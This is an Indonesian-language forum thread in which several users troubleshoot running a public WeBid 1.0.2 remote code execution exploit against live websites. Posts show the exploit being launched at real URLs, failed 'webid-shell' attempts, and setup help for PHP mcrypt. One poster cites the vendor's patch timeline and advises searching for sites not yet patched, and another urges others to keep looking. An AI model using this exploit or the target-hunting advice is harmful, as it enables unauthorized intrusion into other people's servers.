[Meonkzt]

Mcrypt itu cuma module tambahan.
klo blom ada om bisa install mcypt ato php5-mcrypt.

[ekawithoutyou]

ya itu memang tidak perlu jika tidak ada... karena kebetulan ane ada jadi ane kasi tau agar kalau bisa di edit dulu ...

ko keluar gini ya:

Code:

root@sundach40s:/home/dheanx# ; configuration for php MCrypt model extension=mcrypt.so
bash: syntax error near unexpected token `;'

jah ya error lah..... yang diedit ntu mcrypt.ini coba locate mcrypt.ini kalo gada apt-get install php5-mcrypt

[sundach40s]

ya itu memang tidak perlu jika tidak ada... karena kebetulan ane ada jadi ane kasi tau agar kalau bisa di edit dulu ...

ko keluar gini ya:

Code:

root@sundach40s:/home/dheanx# ; configuration for php MCrypt model extension=mcrypt.so
bash: syntax error near unexpected token `;'

jah ya error lah..... yang diedit ntu mcrypt.ini coba locate mcrypt.ini kalo gada apt-get install php5-mcrypt

nih bro, SS lewat mcrypt.ini :

Spoiler! :

[ekawithoutyou]

ya itu memang tidak perlu jika tidak ada... karena kebetulan ane ada jadi ane kasi tau agar kalau bisa di edit dulu ...

ko keluar gini ya:

Code:

root@sundach40s:/home/dheanx# ; configuration for php MCrypt model extension=mcrypt.so
bash: syntax error near unexpected token `;'

jah ya error lah..... yang diedit ntu mcrypt.ini coba locate mcrypt.ini kalo gada apt-get install php5-mcrypt

nih bro, SS lewat mcrypt.ini :

Spoiler! :

coba pake akses root ... om

[gnome_selpa]

lah kok punya ane gini bos

root@bt:~# php Webid.php http://mcs-1.com/webid/

+----------------------------------------------------------------------+
| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |
+----------------------------------------------------------------------+

webid-shell# id

[-] Exploit failed

[betefive]

sama ama yg di atas om,,

betefive@my-hocinx:~# php hh.php http://www.softaculous.com/demos/WeBid/

+----------------------------------------------------------------------+
| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |
+----------------------------------------------------------------------+

webid-shell# id

[-] Exploit failed
betefive@my-hocinx:~# php hh.php http://www.softaculous.com/demos/WeBid/

+----------------------------------------------------------------------+
| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |
+----------------------------------------------------------------------+

webid-shell# uname -a

[-] Exploit failed
betefive@my-hocinx:~#

[Al - Ayyubi]

ijin coba kaka Zee

[cll]

ini tujuannya untuk apa ya Om????
webird itu apa??? n PHP shell itu apa???

maklum Om, sy msih newbi...

[iKONspirasi]

yg gagal harap dilihat timeline exploit tersebut:

[-] Disclosure timeline:

[19/06/2011] - Vulnerabilities discovered
[19/06/2011] - Vendor contacted
[20/06/2011] - Vendor contacted again
[21/06/2011] - No response from vendor
[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/sim....php?id=34
[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/proje...rojectid=1
[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892
[04/07/2011] - Public disclosure

intinya hanya selang 3 hari sejak bug sqli-nya ditemukan vendornya langsung release patch.
jadi cari target yg masih belum di patch

[walangkaji]

kebanyakan udah dead om mungkin. ..


webid-shell# id
[-] Exploit failed



cari terus siapa tau ada yang belum di patch